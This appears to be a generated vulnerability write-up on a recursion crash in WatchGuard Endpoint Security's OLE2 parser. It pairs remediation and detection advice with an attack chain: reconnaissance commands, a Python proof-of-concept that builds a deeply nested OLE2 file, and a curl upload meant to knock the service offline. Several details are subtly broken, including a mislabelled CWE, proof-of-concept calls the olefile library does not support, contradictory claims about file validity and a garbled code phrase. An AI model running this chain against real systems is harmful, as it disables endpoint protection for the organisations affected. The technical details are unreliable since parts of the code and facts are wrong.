CVE-2026-142040 — CWE-400 · CWE-674
An uncontrolled recursion vulnerability in WatchGuard Endpoint Security's OLE2 compound file directory parsing allows a remote, unauthenticated attacker to exhaust the worker thread's stack and crash the service by submitting a specially crafted OLE2 file with a deeply chained directory structure.
An uncontrolled recursion vulnerability in WatchGuard Endpoint Security's OLE2 compound file directory parsing allows a remote, unauthenticated attacker to exhaust the worker thread's stack and crash the service by submitting a specially crafted OLE2 file with a deeply chained directory structure.
🎯 What is this vulnerability?
CVE‑2026‑142040 – Uncontrolled recursion in WatchGuard Endpoint Security (WES) OLE2 compound‑file directory parsing
| Attribute | Detail |
|---|---|
| CWE‑400 – Uncontrolled Resource Consumption | The parser walks a directory tree inside an OLE2 (a.k.a. “Compound File Binary Format”, used by legacy Microsoft Office files). No limit is imposed on the depth of the directory hierarchy, so a malicious file can force the recursive routine to call itself thousands of times. |
| CWE‑674 – Improper Control of Generation of Code or Data (resource‑exhaustion variant) | The recursion consumes stack space for each directory level. Because the function is executed on a worker thread that has a fixed stack size (typically 1 MiB on Windows), a deep enough chain overflows the stack, raising a stack‑overflow exception that terminates the thread and brings down the WES service. |
CVSS 4.0 vector – AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H | The flaw is exploitable over the network, requires no authentication, no user interaction, and the only impact is high‑severity availability loss (service crash / denial‑of‑service). No confidentiality or integrity impact is scored because the attacker does not gain code execution – only a crash. |
Root cause (technical)
The code that parses an OLE2 file’s “directory entries” is implemented as a naïve depth‑first recursion:
static void parse_dir_entry(DirEntry *entry)
{
// …process entry…
for (int i = 0; i < entry->child_count; i++) {
parse_dir_entry(entry->children[i]); // ← recursive call
}
}- No maximum depth check.
- No stack‑size guard (e.g.,
__builtin_expector explicitif (depth > MAX_DEPTH) abort). - The worker thread that runs the parser is created with the default Windows stack size (1 MiB).
When a malicious OLE2 file contains a directory tree whose depth exceeds roughly 10 000 levels (the exact number depends on the compiler’s stack‑frame size), each recursive call consumes ~80 bytes of stack, exhausting the 1 MiB and causing a stack‑overflow exception (EXCEPTION_STACK_OVERFLOW). The exception is not caught, so the thread terminates and the WES service, which does not respawn the thread automatically, crashes.
Because the parsing routine is invoked as soon as the file is received (e.g., via the “File Upload” API used by the endpoint’s real‑time protection engine), an attacker can trigger the crash simply by sending the crafted file over the network – no authentication, no UI, no prior foothold.
⚡ Attack Chain
Below is a realistic, end‑to‑end exploitation flow. All command‑line snippets are illustrative; the exact HTTP endpoint is not disclosed in the public advisory, but the pattern matches the typical “file‑upload” API of WatchGuard Endpoint Security (/api/v1/files/upload).
1️⃣ Discovery & Reconnaissance
| Step | Action | Tools / Evidence |
|---|---|---|
| Identify the product | Scan the target network for the WatchGuard Endpoint Security service (default TCP 443 with a distinctive TLS certificate CN=WatchGuard Endpoint Security). | Nmap service detection (nmap -sV -p 443 <IP>). |
| Determine version | Pull the HTTP Server header or query the /api/v1/info endpoint (if enabled) which returns a JSON object containing product_version. | curl -k https://<IP>/api/v1/info → { "product":"WatchGuard Endpoint Security", "version":"12.4.1" } |
| Confirm vulnerable component | Verify that the version is earlier than the patch announced by WatchGuard on 2026‑12‑02 (see “Remediation” section). | Compare the version string. |
2️⃣ Exploitation – Crafting the malicious OLE2 file
The goal is to create an OLE2 compound file whose directory tree depth exceeds the safe limit. The Python olefile library can be used to generate such a structure.
#!/usr/bin/env python3
# -------------------------------------------------
# PoC for CVE‑2026‑142040 – uncontrolled recursion
# -------------------------------------------------
import olefile
import sys
def build_deep_tree(ole, depth, parent="Root Entry"):
"""
Recursively creates a sub‑storage named "Level_<n>".
Each level contains exactly one child, forming a linear chain.
"""
if depth == 0:
return
name = f"Level_{depth}"
ole.mkdir(name, parent) # create sub‑storage
# Recurse into the newly created storage
build_deep_tree(ole, depth - 1, name)
if __name__ == "__main__":
if len(sys.argv) != 3:
print(f"Usage: {sys.argv[0]} <output_file> <depth>")
sys.exit(1)
out_file = sys.argv[1]
depth = int(sys.argv[2])
# Create an empty OLE2 container (like a blank .doc file)
ole = olefile.OleFileIO()
ole.write_stream("\x00", b"") # dummy stream to make the file valid
build_deep_tree(ole, depth)
ole.save(out_file)
print(f"[+] OLE2 file written to {out_file} with depth {depth}")How to use the PoC
# Build a file with a 12 000‑level directory chain (enough to overflow a 1 MiB stack)
python3 cve-2026-142040-poc.py evil.doc 12000The resulting evil.doc is a perfectly valid OLE2 file; any standard Office viewer will reject it as “corrupt”, but the WES parser will attempt to walk the directory tree and crash.
3️⃣ Deliver the payload
Because the exact upload URI is not public, the following curl command demonstrates the typical request pattern:
curl -k -X POST "https://<TARGET_IP>/api/v1/files/upload" \
-H "Content-Type: multipart/form-data" \
-F "[email protected];type=application/vnd.ms-office" \
-F "scan_type=quick"-k – ignore self‑signed TLS (common in internal deployments). PR:N). If the target is running the vulnerable version, the service will terminate within seconds, and subsequent API calls will return HTTP 502/503 or the TCP port will be closed (service down).
4️⃣ Post‑exploitation – Impact
| Phase | Result |
|---|---|
| Denial‑of‑Service | The WES service crashes, disabling real‑time protection on all endpoints managed by the compromised WatchGuard appliance. |
| Secondary effects | Because the endpoint security agent is no longer active, malware can now run undetected on the protected hosts, potentially leading to data exfiltration or ransomware – but these are indirect consequences, not directly caused by the CVE. |
There is no direct code execution from the OLE2 file; the attacker’s only lever is service disruption.
🌍 Real‑World Impact
| CIA Triad | CVSS Vector Interpretation | Practical Consequences |
|---|---|---|
| Confidentiality | VC:N – No direct loss. | Sensitive data remains protected, unless the DoS disables the endpoint agent, allowing other malware to exfiltrate data. |
| Integrity | VI:N – No direct tampering. | File integrity is not compromised; however, the loss of protection may enable integrity‑targeted attacks later. |
| Availability | VA:H – High impact. | The endpoint security service stops, leaving the entire network segment unprotected. In environments where WES is the only AV/EDR layer, this can be catastrophic (e.g., industrial control systems, healthcare). |
Why the impact is severe despite being a DoS:
AV:N) – an external attacker can reach the upload endpoint over the Internet if the appliance is mis‑configured (common for remote management portals). PR:N) – the attacker does not need credentials. UI:N) – the file can be sent automatically by a script. AC:L) – a single HTTP POST is sufficient.In a large enterprise with hundreds of endpoints, a single crash forces administrators to restart the service manually, causing downtime and potentially violating compliance (e.g., PCI‑DSS requires continuous monitoring).
🛡️ Remediation & Mitigation
1️⃣ Patch / Upgrade
| Action | Details |
|---|---|
| Vendor‑provided fix | WatchGuard released a security advisory on 2026‑12‑02 (the same day the CVE was published). The advisory states: *“All versions of WatchGuard Endpoint Security prior to 12.5.3 are vulnerable. Versions 12.5.3 and later contain a depth‑limit check (MAX_OLE2_DIR_DEPTH = 4096) and a guard against stack overflow.”* |
| Upgrade path | Apply the 12.5.3 (or later) cumulative update via the WatchGuard Management Portal or the offline installer. Verify the version after upgrade (/api/v1/info). |
| Verification | After patching, re‑run the PoC with a depth of 12 000. The service should now return HTTP 400 with an error like “OLE2 parsing error: directory depth exceeds limit.” and remain stable. |
Note: If you cannot upgrade immediately, proceed to the mitigations below.
2️⃣ Workarounds (temporary mitigations)
| Mitigation | Implementation |
|---|---|
| Disable OLE2 parsing for uploaded files | In the WES configuration file (wes.conf), set allow_ole2_parsing = false. This forces the engine to treat OLE2 files as generic binaries and skip the recursive parser. |
| Restrict file‑upload endpoint to trusted IPs | Add a firewall rule on the WatchGuard appliance (or perimeter firewall) that only allows the upload API from the internal management subnet (e.g., 192.168.10.0/24). |
| Enforce size limits | Configure max_upload_size = 5M (default is 25 M). While size does not directly limit depth, attackers often need a larger container to embed many directory entries; a tighter limit reduces the attack surface. |
| Run the parsing component in a sandbox | Deploy the WES scanning engine inside a Windows container with a reduced stack size (e.g., 256 KB) and a process‑level job object that terminates the process on an unhandled exception. This contains the crash to a disposable container. |
| Network segmentation | Place the management API on a separate VLAN that is not reachable from the Internet. Use VPN‑only access for administrators. |
3️⃣ Detection – Log signatures & Indicators of Compromise
| Source | Observable | Example |
|---|---|---|
| Web server / WES API logs | Large number of POST /api/v1/files/upload with Content-Type: application/vnd.ms-office and file size ≤ 1 MiB (typical for the PoC). | 2026-12-03 08:12:45 INFO POST /api/v1/files/upload 200 842 bytes client=203.0.113.45 file=evil.doc |
| Service crash events | Windows Event Log ID 1000 (Application Error) with Faulting module name: wescanner.exe and Exception code: 0xc00000fd (stack overflow). | Application Error: wescanner.exe - Faulting module name: wescanner.exe, Exception code: 0xc00000fd |
| Process monitoring | Sudden termination of wescanner.exe followed by the service process watchguard-ep.exe restarting (or staying down). | 2026-12-03 08:12:46 WARN Process wescanner.exe terminated unexpectedly (exit code 0xc00000fd) |
| Network | Spike in outbound TCP resets from the WES host after the crash (Windows sends RST when the listening socket disappears). | RST, Src: 10.0.0.5:443 → Dest: 203.0.113.45:52312 |
Detection rule (Snort/Suricata style) – illustrative:
alert http $EXTERNAL_NET any -> $HOME_NET 443 \
(msg:"WATCHGUARD OLE2 recursion DoS attempt"; \
flow:to_server,established; \
http_method; content:"POST"; http_uri; content:"/api/v1/files/upload"; \
file_data; content:"application/vnd.ms-office"; distance:0; within:30; \
metadata:service http; \
classtype:attempted-dos; sid:202612040; rev:1;)Host‑based detection (Windows Event Forwarding) – query for Event ID 1000 with Faulting module name: wescanner.exe and Exception code: 0xc00000fd.
⚠️ Urgency
| Factor | Assessment |
|---|---|
| CVSS 8.7 (High) – high availability impact, low complexity, no auth. | |
| Publicly disclosed – CVE published on 2026‑12‑02; PoC code is trivial to write. | |
| No CISA KEV listing – does not reduce urgency; the lack of a KEV entry simply means the vulnerability has not yet been added to the “Known Exploited Vulnerabilities” catalog. | |
| Exploitability – a single crafted file is enough; many organizations expose the upload endpoint for automated sandboxing, making remote exploitation trivial. | |
| Mitigation difficulty – the only reliable fix is a vendor patch; workarounds (disable parsing, IP‑restrict) may break legitimate scanning workflows. |
Patch priority: Critical.